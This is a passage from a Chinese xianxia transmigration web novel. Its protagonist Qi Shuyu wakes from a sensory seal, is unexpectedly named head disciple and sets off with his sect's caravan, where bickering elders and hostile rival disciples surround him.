“事实在这儿还要什么证据?他没吃鱼,而且你们人类擅长伪装,狡诈至极。”
“可他一听就是会被利用的老实人,”齐舒玉辩解道:“比如……魔族的离间计之类。”
“………”
“????”
齐舒玉发现不对劲的时候已经晚了。
他想唤长垣的名字,
却发现张嘴后连自己也听不见声音。
眼前更加漆黑一片。
看不见。
听不见。
说不出。
连指尖的感受都没有。
五感被封是这样吗。
齐舒玉回忆起云岁鸿那时候冷静自持的模样。
——原来是吓傻了。
**
“皇甫师弟,你倒是再给舒玉仔细瞧瞧——”
“白师兄,每柱香我都替他探脉一次,舒玉的确无碍。”皇甫成华深深吸口气:“不过你再这般翻来覆去,别怪师弟不客气,请你们师徒二人离开川穹峰了!”
“皇甫师弟你好狠的心呐!”
“彼此彼此。若当日师兄对玲珑心软半分,师弟今日也会再体谅些。”
白平飞忿忿道:“你徒儿不是安然无恙么!哪像我的舒玉,在秘境里中了圈套,又是鱼又是魔烟,出秘境后也遭受颇多。”
“‘遭受’?他遭受何事,几抹剑痕么?涉及魔族,千余名弟子唯他毫发无损!你在殿上护他如眼珠,剑祖更是喜爱他得不得了,连师祖也不曾有罚他的念头——”
“噢!对,剑祖划伤他了,你探查过,剑气是否还在他体内?”
“白师兄,舒玉只是短时内被封五感,他无碍!”皇甫成华激动得‘啪啪’直拍脑门:“岁鸿被师祖亲自鞭笞一百五十鞭,也没见掌门亲自领他来我这!!”
“呵!咎由自取,他把魔烟带入秘境,害他自己不说,还害了我徒儿!”
“你心知肚明,没他护着,还有你徒儿什么事?!”
“舒玉能得剑祖青睐难道不是大本事了?没他,去论道大会也是早晚的事,”白平飞用鼻子哼了声:“我看你就是见不得我的舒玉好。你自己只有个双灵根徒儿,不像我们舒玉——”
“玲珑怎么了?!”皇甫成华气势汹汹地反问:“她聪慧过人,剑医双修,世间又有多少如此天才?”
“她是双灵根,哪比得上我单灵根的舒玉,你当初就该找个舒玉这般——”
“单灵根又怎样,还不是要躺在我这双灵根峰主的草屋里,喝我双灵根徒儿熬的药!”
“那不一样。”
“有何不同?师兄——修道之路漫漫,心志不坚走不下去的。”
“哎,师弟你还是这般离经叛道,天赋不足,永生无补。”
“白师兄,到底谁才是倔驴?你怎的还是执迷不悟,在这孩子身上花费的心血太多,他该如……”
‘笃笃笃——’
“师尊、白师伯,你们在吵什么呀?”
少女清甜的嗓音响起:“齐师兄的灵药调制好了。”
“多谢玲珑师侄!快拿来吧,”
白平飞抢先应道:“师伯就知道你是个好孩子,比你臭脾气师祖好多了!”
上官玲珑走近了,软软道:“白师伯,师尊人很好的。”
“好好好,”
白平飞敷衍道,接过丸弹大的丹药塞进齐舒玉嘴里。
刚入口,
酸涩苦臭的气味直冲天顶。
到了喉咙口,齐舒玉打了个干呕,药也被趁机彻底推了下去。
丝丝缕缕暖意流转。微薄的灵力唤醒了丹田躁动,借着这股力,齐舒玉猛地睁开眼睛。
“舒玉,你醒啦!”白平飞扶起他,喜上眉梢:“为师知道你有千言万语,你别急,为师先告诉你一个好消息。”
他眼里光
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芒大盛:“论道大会师尊点名由你带队。”
齐舒玉:……听起来不是什么好消息。
他就是命里写着死期将至吧。
原文里“齐舒玉”作为小队长,利用职务便利,在论道大会的路上想给女主下药、论道大会举行中想给女主下药、论道大会之后还想给女主下药,
屡次被不同男主拦截后,
在第14章结尾时,
终于被杀人不眨眼的大魔头背着手杀了。
第15章薛殷补刀。
他翻翻剧本。
现在已经走完原剧情三章,出发上路就是第四章的事了。
这剧情干扰起来到底有没有用啊!
怎么他都这么水了,还是会在人才济济的弟子里当选一条杠啊!!这里的炮灰又没恋爱谈,不能奋斗一下事业吗?
等、等等!
“那大师兄呢?”齐舒玉记忆回笼,急道:“不是说我不能离他三里远吗?”
再说,三里是多远?!
这儿也没个网,不会算啊。
白平飞脸又臭起来,
胡子短了一大截之后他的脸扭曲起来更方便了。
他语气不是很好道:“你师弟找你呢,进来吧。”
“是。”
一道低沉醇厚的嗓音响起,
来人步伐沉稳有力。
齐舒玉呆住。
……云岁鸿换新皮肤了。
别看他肩宽腿长,荷尔蒙狂飙的的肌肉撑得衣服将爆未爆,长着一副专门勾引女人的深夜男主播身材。
可他那正经得不能再正经的眼神,和背后形影不离的木乃伊大剑,怎么看都是玩不起还爱考编爱上班的无趣良家妇男。
然而此刻,
那眉眼间多了一抹异常扎眼黑色长布,眼尾还落下栩栩如生的红色莲花。
太!帅!了!吧!
齐舒玉指尖不自觉抬了抬。
升起一股把布条扯下来的冲动。
他克制住了扯布条的冲动,但是没克制住冲下床的冲动。
“大师兄——”齐舒玉笑容满面地一个飞身猛扑,小小垫了下脚尖,臂弯勾着云岁鸿的脖子跟他碰头:“你这打扮也太帅了吧!!”
“齐舒玉!”白平飞气得吹胡子瞪眼:“待你师兄这般无礼,成何体统!”
齐舒玉呲着一口大白牙,
胸口拍得哐哐响:“什么体统不体统的!都是自己人。”
白平飞摸胡子的手摸了空,没好气道:“哼,哪里来的自己人,防人之心不可无,这道理你走过一遭了还不能透彻么?!”
此话出。
屋内沉默下来。
齐舒玉不自在地收回胳膊,嘟囔道:“干嘛啊你们,出这种事也不能全怪他吧。”
少女似乎想问些什么,被皇甫成华用眼神制止了,她只好左看看右看看,似懂非懂的嘟起嘴。
白平飞看着不服气的青年直摇头,指着少女旁边瘦小得看似一阵风都能吹倒的中年男子:“去,你刚醒,让皇甫师叔再帮你探探脉。”
皇甫成华直呼‘秀才遇到兵’。
“舒玉那身手师兄你都没按住,还浪费师弟灵力做甚!”
“你没瞧出来他伤到脑子了?师弟,你的医术也该精进了。”
“好好好,我该‘精进’了——玲珑,送客!”
皇甫成华脸色铁青:“莫让闲杂人等再道我川穹峰每况愈下,什么客都能进来。”
“啊,”上官玲珑水润清透的大眼眨呀眨:“师尊,尽管齐师兄无大碍,云师兄还有伤呢,您帮他瞧瞧嘛!”
“玲珑!”
“皇甫师弟怎的又大动肝火,玲珑是好孩子——再说她也才醒,你先给她瞧瞧也是应该的。”
“好好好,你们不走,我走!”
18. 准备
皇甫成华走得决绝,掏符念诀行云流水,符灰掉落前就没了人影。
白平飞见齐舒玉还呆头鹅似的站云岁鸿旁边,气不打一处来:“你说你,没事招惹你师叔做甚!”
齐舒玉一头雾水地指了指自己:“?”
“他定是去知会长老了,你昏睡三日,长老嘱咐,你醒后即刻出发。”白平飞丧气地摆摆手,掌心翻转,唤出剑来站了上去:“既然如此,你们去山下与队伍会合吧。”
“这么赶?!还没人告诉我殿上发生什么事了,何况、何况我也没准备好!”
齐舒玉大叫:
“能不能不去啊?!”
“路上听你师兄阐述吧,”白平飞瞪眼道,生怕再留着被气死,他立马催动灵剑:“休得多言,这论道大会你不去也得去!”
与云岁鸿擦身而过时,
白平飞停滞在空中,侧目回首:“别怪师伯,都是你欠舒玉的。”
云岁鸿微微垂首:“师侄不敢。”
“不是,师傅——”
白平飞又深深看了目光纯澈的青年一眼:“路途凶险,跟紧你大师兄便是。”
“师傅!”
他紧接着追了出去:“你等等啊!”
“别追了,你们下山吧,”白平飞袖袍一甩:“师祖有令,为师也没有挽回的余地。你也莫令他老人家失望。”
“可是——”
“没有可是!”
齐舒玉越追,
前面那道身影却消失得越快。
“臭老头——”
齐舒玉双手合在唇边大喊:“你走了谁送我们下山啊?!”
川穹峰既然被称为“峰”,
肯定是有它的道理。
住在这种不正常的地方,
除了女主和女主师傅,还能有其他人吗?!
连条下山的大路都没有啊!!
瞥见路边一棵苍天大树上绑着数十条碗口粗的藤绳时,
猜出它用意的齐舒玉更绝望了。
上官玲珑蹦蹦跳跳过来,乖巧甜软地添乱道:“师兄,你也知道玲珑不会御剑,所以每回都是从这里下到山脚,很快的。”
但凡学校水管超过一层楼高都不爬的男子汉齐舒玉:“……”
下到黄泉也很快吧。
在齐舒玉的哭哭啼啼声中,上官玲珑提了个靠谱建议:让云岁鸿蒙眼御剑,她来指路。
齐舒玉答应了。
在男女主手里活下来比死在自己手里强。
幸好,云岁鸿五感十分发达,御剑技术蒙着眼睛都比一般人强几十倍,齐舒玉只要轻松捏一把冷汗就好,顺便强硬掐断云岁鸿想闲聊的意图。
大师兄真不懂事。
行车不规范,亲人泪两行呐。
抵达山门时,齐舒玉浸湿的后背都被风吹干了。
远远地,三十多辆被围得水泄不通的马车已然十分抢眼,拍成列队的剑修们昂着头,意气风发,场面壮观。
坤元剑派是个万人大派不假,可修真界连资质最普通的三灵根也只有百分之一,内门弟子能凑出几百人就不错了,其余皆是此生也未必能成功上山的外门弟子。
其实和普通人差别也不大。担心剑风会伤到他们,隔着段距离云岁鸿便收了剑。
“兄弟,麻烦让我们进去。”
齐舒玉过去拍了拍外围其中一人的肩膀。
那人回头不耐烦道:“让什么让,我都还没看到内门弟子呢,先来后到懂……”他的声音在看清来人时戛然而止,神色变了又变。
齐舒玉知道,墨君山弟子里没有人不认识云岁鸿。
对方不仅自己让出了道,还主动戳了戳前后左右。
和他一样,周围人纷纷退让,
各色各样的表情最终化为沉默。
齐舒玉紧张地挡在上官玲珑和云岁鸿前面,
提防有人疯狂地冲上来。
毕竟他见识过剑修们追星的样子。
但越往里走,越不对劲,那些看过来的眼神说不出来的奇怪。
另外。
——他们面对云岁鸿也太冷静了。
人群中心也注意到了这里异常的安静,停下了动作。
被上千双眼睛齐刷刷盯着,齐舒玉蓦地起了一身鸡皮疙瘩。
上官玲珑也像只小仓鼠惴惴不安的扯了扯他的衣袖,惹人怜爱的模样让齐舒玉不禁多看她两眼。
人又可以了。
“舒玉。”
一道颇为耳熟的女声温声唤他。
齐舒玉抬头。
青衣长裙女修瞧着五六十的年纪,面庞温婉祥和,和她交谈的蓝衣剑修面容约莫三十出头,牵着领头的马匹,背着两柄长剑,一身武打服简洁干练。
齐舒玉欣喜道:“玉师叔,燕师伯!”
玉婉柔掩面轻笑,目光慈爱。
根据小说,燕问雨是这次下山的带队主任,正好是齐舒玉穿过来不久后才结束闭关,全然不知道原主做过的糟心事,而和她交好的玉婉柔是圣母老好人。两人路上出场次数寥寥无几,但一出场就是帮这帮那的,都是非常适合讨好的对象。
燕问雨嗯了声,招手道:“过来换弟子服,就等你们了。”她使个眼神,玉婉柔心领神会,含笑从腰间储物袋捧出一套金领莲花盘扣玄服。
“时间不早,我们也该出发了——附近接连几个村庄出现魔族,长老让我们先去探探情况,说不定就是他们的同伙混进了墨君山。”燕问雨抚着马头,目露深意:“首席弟子服可号令同门,但弟子们能否信服,就要凭真本事了。”
“放心吧放心吧,燕师伯,”齐舒玉忙不迭帮云岁鸿应下,在双方面前积极表现:“大师兄肯定是有真本事的!”
他把云岁鸿的胸膛拍得哐哐响,小声献殷勤道:“哥我帮你拿衣服过来。”
一扭头。
手臂却被一把抓住。
捧着玄服的玉婉柔竟然也已经近在咫尺,脚下残影未散,笑颜依旧。
耳畔同时响起两道声音:“首席弟子,是你的。”
“哈????!”
**
直到坐进马车里,齐舒玉还两眼发直:“不是吧——不可能的吧,一定是哪里搞错了——不对不对,全都不对了。”
原文里‘齐舒玉’只带了十支小队中的一支。
带整支队伍的,
——是现在被申墨剥夺首席名额三百年的云岁鸿。
“为什么啊?!你也太倒霉了吧,还被申墨亲自打了150鞭?现在感觉怎么样?”
“有灵力护体,无碍。”
“……牛逼啊哥!”
“怎直言师祖名讳?!白平飞怎么教导的。况你作首席一事,他也未与你小子提及么? ”对面的中年男子抚着半黑半白的山羊胡,唾沫星子横飞:“啧啧啧,不靠谱啊不靠谱——当年就劝那老匹夫,凡事莫强求。他资质马马虎虎,又是个粗心大意的老糊涂,却野心不小,非说要养个名扬四海的徒儿出来。哎,龙生龙凤生凤的——呃,师叔的意思其实是名师方能出高徒,可你师尊既非名师,确实是耽搁你……”
他口水都要喷到齐舒玉后脖颈了,齐舒玉默默往旁边挪了挪,用衣袖挡着半边脸打断他:“说过‘带队’的,但我也没问清楚,哪知道是首席弟子位。”
“害!”山羊胡
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大腿一拍:“那你一副吃惊模样做甚,一支小队是带,十支小队也是带嘛。你多数是被你师尊惯得,畏手畏脚,如何成得了大事?白平飞平日里什么都不教你么,‘成大事者不拘小节’,他从前还是凡间教书夫子呢,才区区三百年就忘得一干二净了?真是——那些个修无情道的怪人也没他会忘,起码世间大道句句铭记在心。不可不可,回头我定要好好点醒那老匹夫……”
“——师叔,我说话难听要憋不住了,我想出去御剑。”
齐舒玉“唰”地站起来,可车厢自然是没有他高的,他不得不躬着身子,空间瞬间逼仄起来。
虽然这个马车里只进了三个人,
但空气实在是太他妈稀薄了。
“哎,不及这一时半会儿。”
吴忧伸手拽他。
齐舒玉下意识抵抗。
两股灵力肉眼可见地在腕间交逐。
一方更为清澈纯净,一方却更为深厚。
青年的额角隐隐有青筋浮现,睫羽轻颤,目光却是前所未有的坚定。
吴忧慢吞吞捻搓着胡须:“一时半会儿你不足以御剑带人,随车慢行亦不得要领,你是首席,言行举止可都要三思才行,在弟子们面前出糗可不妙。师叔我教你的这些可要好好牢记。自然,嘱你三思也不全是为了我坤元剑派的颜面着想,也是觉得你该静心收敛着些了。我不像你冥顽不灵的师尊,只知道督促着修炼。师叔相信,修道者先修心也,定心定性方为修仙之根本。你可曾听闻过心浮气躁也能成仙得道的?!没有!连话本子里的土地公都知安守本分……”
两人交手处光芒更甚。
吴忧眼睛亮了亮:“不错不错,孺子可教也。你是个聪明伶俐的,我不过提点一二,你已知晓全力以赴,老匹夫还说你顽劣,我看都是他教导无方。‘养子不教父之过,训导不言师之惰’。依我看,白平飞也是心性大不如前,堕落如斯——前些日子他竟厚着脸皮斥我闲散?!你们看师叔我是爱游山玩水的人么?!老夫都是为了悟道啊!取世间之精华,去陈年之糟粕,这才是修道者‘海纳百川’真正含义。”
齐舒玉把吃奶的力气都用在催动灵台上了,五官狰狞地吼道:“云岁鸿!狗男人,你说句话啊!”
云岁鸿掌心置于双膝,
缓缓吐息一口。
“师叔所言极是。”
“云岁鸿!!!”
“哎哎哎哎——瞧瞧,不愧是掌门教出来的徒弟,真是通情达理,气度、学识、心性、修为都是一等一的。掌门徒弟,师叔离开墨君山前记得你是三灵根吧?怎的不及百岁已至元婴?!实在是天赋异禀,放眼望去,属实修真界独一无二,师叔也正想与你讨教一番。别怪师叔唐突,毕竟除了单灵根,世间还从未出现过能……”
“师叔言重了,”云岁鸿沉声道:“承蒙上苍眷顾,洗髓已成。”
吴忧仿佛是被掐脖子叫停的尖叫鸡。
他一下子收回灵力,
齐舒玉毫无准备,猛地往后栽去,‘砰’一声栽进云岁鸿怀里,然后嗷嗷大叫一手捂着腰一手抱头滚下来。
车壁和车座上好歹也有软布软垫包裹着。
而云岁鸿,
是比水泥地还硬的硬汉。
半晌,
吴忧长长叹口气:“你受苦了。”
“还好、还好,哈、哈——嘶,”齐舒玉晕乎乎道,背着吴忧眼睛红红的爬起来,声音隐忍道:“男人嘛,流血流汗不流泪。”
“说你了嘛你就赶趟,老夫有时候真不知如何与你们这些小辈相处,有道是‘话不投机半句也嫌多’,你倒是低头瞅一瞅呢,那眼泪水都快淌我脚边了,齐师侄!”
19. 认同
车厢说大不大,说小也不小,可让三个人高马大的男人聚在一起,还随身挂着沉甸甸的佩剑,齐舒玉怎么坐都很是难受。
他折腾了好一阵才歇下来。大叉着腿,一只胳膊搭在窗边,一只架在云岁鸿肩膀上,吸吸鼻子好奇道:“老东西,你到底什么来头啊?”
【第四章
“出发啦,出发啦,哈哈!”
通过申墨的试炼后,少女终于获得论道大会的资格,啜泣着与薛殷依依不舍地道别后,难掩兴奋地坐上了马车前往论道大会。
她不知道,
身后面容冷峻的少年盯着她窈窕的背影,久久不能回神。
仿佛把那绰约身姿刻进了心里,
将汹涌的爱意融进了血里。
马车上,少女忆起在弟子中忙于清点的云岁鸿,简约不失繁美的黑衣衬得他愈发高大俊朗,小脸一红,心中不由生出了异样的情绪。
云岁鸿百忙之中瞥见少女的身影。
浑身一颤,
耳尖泛红竟是不敢再多直视。
这一切,已被他身旁之人(曾以美貌著称的第三十号师叔),江怜容看在眼里。
自从“墨君山第一美人”称号易主后,上官玲珑总觉得这位师叔对自己有什么误会,可她不愿多加猜忌。
她亦不知,她的纯善却招致江怜容的滔天嫉恨!
幸而同行的还有两位妇人,燕问雨和玉婉柔,实力都在江怜容之上,且都将上官玲珑视若己出。
至于另外两名师叔和长老,少女对他们知之甚少。
眼下,她正疲于应付同乘一辆马车的齐舒玉……】
今天先复习到这里吧。
实在找不出几句有用信息的齐舒玉在脑子里合上书。
……不愧是女频文。
这本书剧情烂归烂。
感情描写倒是细致入微,扣人心弦。
云岁鸿蹙眉:“师弟,不得对师叔无礼。”
齐舒玉正要解释。
毕竟他也就打算心里叫一下的,
是嘴巴没控制住。
转念一想,
察觉出不对劲来。
睫毛快速扇动两下,凑过去在云岁鸿耳边小声逼逼:“你不想叫他老东西吗?”
云岁鸿仍旧规规矩矩道:“不得无礼。”
知道他看不见,
所以齐舒玉那副见鬼的表情也不避着。
吃不吃没区别嘛。
这哥也太正直了吧?!
齐舒玉舔舔唇。
既然云岁鸿当时被封五感,估计是不知道他们俩都吃了那见鬼的吐真鱼——还是不要告诉他比较好,免得他想起秘境里被叫骚货就以为那是真心话。
“好吧。”
齐舒玉收了收脚,礼貌道:“抱歉了话多的老山羊请您立刻给老子上报——”
他当即住声。
吴忧的眼底很是不满意:“老夫不过在外游历几年没回墨君山罢了,你这小子怎么被白平飞教得越来越不知礼数,早知道他这般不会带徒弟我就不该同意他收你,你天资上乘,本应轮不到他收你为徒的,若非当时他纠缠师兄弟们纠缠得紧,哭着求着要你又保证得那般好听,我才不会在长老那里松口。唉,老夫也是替你考虑过的。我这些师兄弟里,要么是燕师姐、彭师兄、崔师兄、长孙师弟这些个生来就有机缘的,只知修炼不知育人,要么是玉婉柔这种妇道人家,瞧着就是会把孩子惯坏的,钱佑和祝岳明倒是两头都沾些本事,可他们徒弟众多,老夫想着他们也未必会对你多加上心……哎哎哎哎——齐师侄,你这是做甚?”
“爹!”齐舒玉跪在他面前不肯起身,囧着脸哀求:“我现在认你当爹好吗?”
“这、这……齐师侄,你……”
吴忧眼睛瞪大,一时有些失语。
齐舒玉抓着他的手眼含热泪:“碰到你,我也是真的服了!”
吴忧很明显被他这波操作搞不会了,双手猛地抽回,狂搓大腿都快搓出火星子了:“这这这这可使不得啊,齐师侄——你这般突然,老夫……老夫是要深思熟虑的。”
“师弟,”
云岁鸿不咸不淡地唤道:“不得戏弄师叔。”
见他面上有几分严肃,齐舒玉也不敢再多嘴了,举起三根手指冲窗外发自肺腑道:“我齐舒玉对天发誓,七日内定要学会御剑载人!”
吴忧目光复杂地捻着山羊胡:“有志者事竟成,老夫是愿意相信师侄的。”
说完这短短的一句话,他就不知道在想些什么,陷入了沉默。
直到马车停下来,车厢里都一片宁静。
齐舒玉大为震撼。
原来发誓是真的可以解决所有问题吗?!
兜起快被马车颠散架的骨头,他仰天长啸着跳出马车。迫不及待地正准备伸个懒腰,双手却在一片虎视眈眈中顿在半空。
“????”环视周围,齐舒玉瑟缩了一下,硬生生把哈欠也憋回去:“都看着我干嘛?”
“坤元剑派八百年来头回派了个废物做首席,”
高马尾少女破开人群,上前阴测测道:“你说值不值得看?齐舒玉,你运气真是好过头了。”
齐舒玉退后半步,端着脸:“……你在这里就说明我运气还不是太好。”
书里可没说花怒娇也在。
不过这段内容都是女主和几个男人的拉扯,其实以花怒娇脚踢元婴的实力,和打架喜欢下死手的暴力,被选上参赛并不意外。
“看来白平飞没跟你细说?”花怒娇咬牙切齿:“这次秘境试炼,连周朔都死了——你倒是舒服得很!”
“周朔死了??!”
齐舒玉瞠目结舌:“钱佑门下那个四百多岁的化神周朔?”
“除了他还有谁值得一提。”
虽说云岁鸿才是开门大弟子,
但不代表他年纪是最大的。
坤元剑派历届收徒必须从掌门开始,只有掌门开始收徒后,其他人才可以收徒。收徒方式也分两种。
一种是冲着坤元剑派来的,这种弟子就由长老做主,商量着分配;
一种是慕名而来,拜入谁门下则是谁。
至于其中通过考验却天赋不高,或者碍于情面不好打发的,就留作外门弟子了。
周朔是第二种。
听说他和钱佑两人年纪相当,似乎是旧识,为拜在钱佑门下甚至等了一百多年,直到祝岳明受了云岁鸿的拜师礼后才立刻进来的。
门内每提到“二师兄”也都讲的是他。
在知道这次首席弟子不是云岁鸿时,
齐舒玉还有瞬间纳闷为什么不是周朔。
当时仅仅以为是“周朔”在小说中从没出现过——这种小原因而已!
齐舒玉搭在剑上的手抖了抖,
指尖泛起凉意。
他喉咙滚动一番,眼神中有些迷茫:“我、我不知道啊。”
“你不知道的还多着呢!”花怒娇目眦欲裂:“其余弟子们即使重伤也需重新比试,你凭什么睡着觉就当上这首席弟子了?!更何况连在秘境中也是靠着云岁鸿的吧?!”
“吵够了没有!”
伴随燕问雨一声怒喝,刺耳的余音回荡在众人脑海中。
齐舒玉忍不住抱着头敲了敲。
余光瞥见花怒娇身形未动,只眼眶微红,冷冷盯他:“废物。”
“本次首席弟子之位由师祖亲点,便自
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有他的道理!你若不满,可即刻打道回府同师祖争论!”燕问雨寒着脸道:“事情始末我已知晓,既然齐舒玉是唯一清醒着脱离秘境的,按照规矩,这首席之位也该是他的。”
花怒娇气极反笑:“他又没有实力,不过运气好罢了!”
“那你合该怪自己运气不好!”燕问雨低声呵道,目光扫过众人:“再来一次,我将请长老出来亲自定夺。”
花怒娇瞪着齐舒玉,
重重呼出一口气。
几息暗潮涌动后,燕问雨缓了缓语气:“…好了,当务之急是魔族踪迹一事,你探到什么了。”
她朝齐舒玉解释道:“在山门口未来得及知会你,这九人便是其余小队之首,凡事你也可与他们商量后再定夺。不知你们是否相识,但想来是不打紧,接下来也要朝夕相处的。”
齐舒玉艰难地扯了扯嘴角。
有碰过面的,
也有几个完全没见过。
花怒娇哼了声。
“百里内最近一座探查到魔族气息的村子,不见任何生人,但打斗破坏或者伤亡痕迹却不多,观屋内陈设似乎村民们是最近才消失的。”
“有劳。”
燕问雨表情有几分凝重起来:“没有丝毫动静就让全村人在墨君山下无影无踪,怕真是有不得了的魔族。”
她思忖道:“你等绕开这个村子前行,我自去查看再与你们汇合。”
“这个村子在马车必经之路上。”花怒娇正色道:“是埋伏也说不定,我们要传音回山内么?”
“不可,”燕问雨摆手:“未经确认之事不得贸然禀告。”
“那我们如何打算?”
“先去让弟子们做好……”
“首席?”花怒娇侧目挑衅道:“首席觉得我们如何打算?”
顺着她的目光,
燕问雨皱了皱眉。
但到底没再说话了。
被一双双意味不明的眼睛锁住,齐舒玉呐呐道:“应、应该是没事的吧。”
【……车队经过一座无人的村庄,因发现魔族气息,弟子之首的云岁鸿提出在这里留察一夜。
无人知晓,
命运的齿轮已经开始转动。
那淡薄的魔族气息正是银翼天尊前几日残存的。
因他过于强大,
魔气再三遮掩依旧不可避免地泄漏出来。
可世间万般,唯“情”字难解。
连嗜血天尊也有朝思暮想的女子罢了。
他只是想再偷偷看她一眼。
何错之有呢?
于是,这一夜有惊无险地过去了……】
花怒娇环胸讥笑一声。
燕问雨唇角已然抿成直线,声音辨不出喜怒:“舒玉。”
“哎呀,在必经之路上的那村子么?”
吴忧的头从马车窗口探出来,讪笑道:“师姐,也怪师兄弟几个急匆匆抓了我来充这苦差事,我根本没时间向门内禀告此事。那村子前些时日现了魔族踪影,我是交过手的,没讨着好处让他溜了。但那魔族不似善茬,我担心他会卷土重来,让村长劝大家先到别的村子避避风头了——正好,劳烦您跟门内通传此事,让大家多加留意。其实让祝岳明亲力亲为是再好不过的了,不过您千万别说是师弟我的……”
“嘭——”
车厢一阵晃动,惹得拉车的马嘶鸣一声。
燕问雨收回拳头。
“首席,现在你可告知有何打算了?”
“那、那我们在村里住一晚看看情况再说?”
“还有异议么?”
“……呵。不敢。”
“弟子附议。”
“弟子附议——”
20. 功夫
听闻剩余路程还有百里,半夜三更才到。
弟子们按耐不住了。
有人抽出剑来,高声嚷嚷道:“老子都一百多年没坐过马车了,谁他娘的爱坐谁坐去!剑修不先学御剑,舞得再快有什么用,不如上山多劈两捆柴!”
“马石!”小队长之中,单手抱着一柄大弯刀剑的高大壮霎时变了神色,他迈了两大步,剑尖凌空相指:“你什么意思?”
“什么意思还听不出来么?是你好兄弟们舞剑快得劈进你头里了不成?”
“你!你你你——”
高大壮涨红脸半天说不出话来,嘴笨的样子连齐舒玉也好奇想骂他试试。
同样有看不过去的人扯着嗓子回道:“你们南宗的嘴皮子果然利索,估摸着逃命也是这般利落吧!”
“打不过自然要走,傻子都在原地等死呢!”
“平日里用一身逃命功夫换那基本功,当然打不过!”
“你基本功扎实?基本功扎实能当上首席么,也厚着脸同我讲基本功?”
对骂的人不吱声了。
马石走出来。脸上褶皱沟壑纵横,和随处可见的花甲老头没什么不同,两鬓斑白,却精神矍铄。
他越过高大壮,一眼就锁定了齐舒玉,健步如飞到面前来,一脸无辜道:“首席啊!我筑基时已六十有三,这把老骨头是换不掉的,真的不想再受颠簸了!”
手里的剑已经跃跃欲试地横在空中。
“您也是师承南宗,知道御剑而行才多畅快吧!”
齐舒玉硬着头皮看了看燕问雨。
燕问雨避开视线。
“那您的意思是?”
“既然马车还要两个多时辰,我们南宗的弟子先行也并非不可,权当提前为弟子们安顿。”
门内南宗和北宗一直斗来斗去,谁也不服谁,合不到一起去。大家心知肚明,继续这样下去,坤元剑派迟早要分裂。
不过这种事又不是齐舒玉说了算的。
还是先把眼前的事敷衍完吧。
“听着还挺靠谱的,”
齐舒玉想了想,点点头,手放在衣领上:“看你年纪大我也不敢惹,而且你还爱出主意,要不这首席弟子给你当算了。”
马石笑眯眯的脸立刻黑了,朝着空地啐了口扭头就走:“他娘的,阴阳怪气。”
齐窦娥:……
有没有人来管管啊!
“那就听首席的,坤元剑派上下一体,不得擅自行动,”燕问雨把嘱咐送到每个弟子耳边:“全回马车继续赶路吧。”
“坤元剑派如果是靠嘴皮子功夫立起来的,我倒是服你穿这身衣裳。”
花怒娇把玩着马尾尖,
懒懒瞥他一眼,神色嘲弄。
她用十五岁的脸做出三十五岁的表情,
如果不是那双眼睛过于深沉寂静,实在太像欠揍的精神小妹了。
燕问雨挥手从她开始赶人:“小心看好你们的人,尤其是李二你那边,自己想办法,少惹岔子来。”
高大壮不好意思地挠挠头走了。
齐舒玉也被燕问雨提进了马车。
是字面意思的‘提’。
“我有事问你。”
她把还在地上昏睡的吴忧捡起来团到一边去,吹了声悠长的口哨,马车晃动起来后往车厢四个角都贴上了符,坐下来一个人占了整边座位,一言不发地盯着齐舒玉。
齐舒玉被她看得头皮发麻。
挤到了云岁鸿和他脚边的吴忧之间。
燕问雨郑重其事道:“好,现在舒玉你可以告诉我乾坤殿上发生什么事了。”
齐舒玉不明所以。
“你没注意到么?”燕问雨蹙眉:“此行我们五人与长老那日皆不在殿内。”
经她提醒齐舒玉才恍然想起她没在场,那天检讨大会的氛围压迫感十足,一时半会儿很难关注到其他人。
“墨君山内传师祖亲自鞭笞岁鸿,是真的么?可他老人家不许岁鸿参会,为何要让他同行,还令我们替他稍许遮掩?旁人也只知师祖斥他在秘境中重伤同门,所以夺他首席一事,”
燕问雨机关枪一开连连发问,还递了张纸条给齐舒玉:“另外,这是你的弟子名单,也是师祖亲自给我的。”
齐舒玉不知不觉被她感染,有种地下党碰头的刺激感,手心也开始冒汗,小心翼翼展开全是繁体字的纸。
“王二麻子”“上官玲珑”两组突兀的纯简体字一目了然,相比之下“薛殷”都没那么明显了。
“王二麻子怎么在这里?他都被魔族附身过不该被关起来吗?”齐舒玉讶异:“他去参什么赛,缝纫机大赛吗?”
“与织布有何干系?”燕问雨反问道:“原来这就是他由长老看管的原因么?”
“和长老同吃同睡,他待遇挺高啊。”
“何必羡慕,他一直昏……”
“一直昏到现在?那这是真正的昏头了。”
“莫打岔!”燕问雨恼火道:“师祖还与我说你们师兄弟二人是弟子中最可信的,我最是疑你。”
齐舒玉瞟了瞟旁边蒙着眼的云岁鸿,过了好一会儿才放下捂着嘴的手:“姐,听哥一句劝,信是可以信,但也不要全信,微信吧。”
“看来我闭关太久,已不懂你们后生之言,”燕问雨叹口气:“罢了,与我从头讲起吧。”
齐舒玉怕自己暴露吐真鱼的事情,呜呜着手指都快戳进云岁鸿眼睛里了。
随时随地都能入定修炼的云岁鸿终于开机似的,拨开他的手指,正襟危坐道:“弟子愿先行阐述。”
他一边讲。
齐舒玉一边附和。
该点头的点头,该摇头的也点。
反正云岁鸿讲的八九不离十,剩下的就不是别人该知道的了。
齐舒玉没想到,云岁鸿对于乾坤殿上后来发生的事,也不比这会儿的他知道得多。
对于两人的遭遇,
听得燕问雨时不时哑然。
还提了些诸如“那玄明火钱师弟当真不知?”“两位师弟还在相看相厌么?”“剑祖怎的对舒玉另眼相看?”之类没人回答得出的问题。
把事情分析得更加云里雾里之后,燕问雨手指在膝头敲打,长嘘出一口气道:“岁鸿你也莫怪师祖。怕是你被暗中盯着的,师祖也是为你考虑——如此看来,你的名字确实不得被呈交上去。”
“弟子明白。”
她又道:“若你们二人之言属实,王二麻子被魔族附过身,应是让我们用来做引子的,长老不会让他离开车厢的,惶逞论道大会了。”
燕问雨淡淡垂眸:“届时,岁鸿你顶替他的名字去吧。”
“哈?”
齐舒玉不可思议地变了脸。
书里云岁鸿和银翼天尊在论道大会上的打斗……
这就圆回来了?
“我知道舒玉你与岁鸿感情甚笃,不甘他被冒名顶替,”燕问雨看他一眼,似有讲不出的千言万语,劝解道:“但事已成定局,那便上下同心,顾存我派的体面吧,岁鸿有实力,年岁也尚浅,下次的大会必定名扬四海,也不急于一时。”
听完燕问雨的顾虑,齐舒玉才反应过来云岁鸿估计心里正不是滋味,怜惜地去拍他肩,也不说话,因为他知道自己这会儿吐不出什么好话。
他还想像云岁鸿一样被除名嘞。
谁来安慰安慰他啊!
齐舒玉挤在云岁鸿左手边,
拍完左肩担心这哥们会觉得右肩
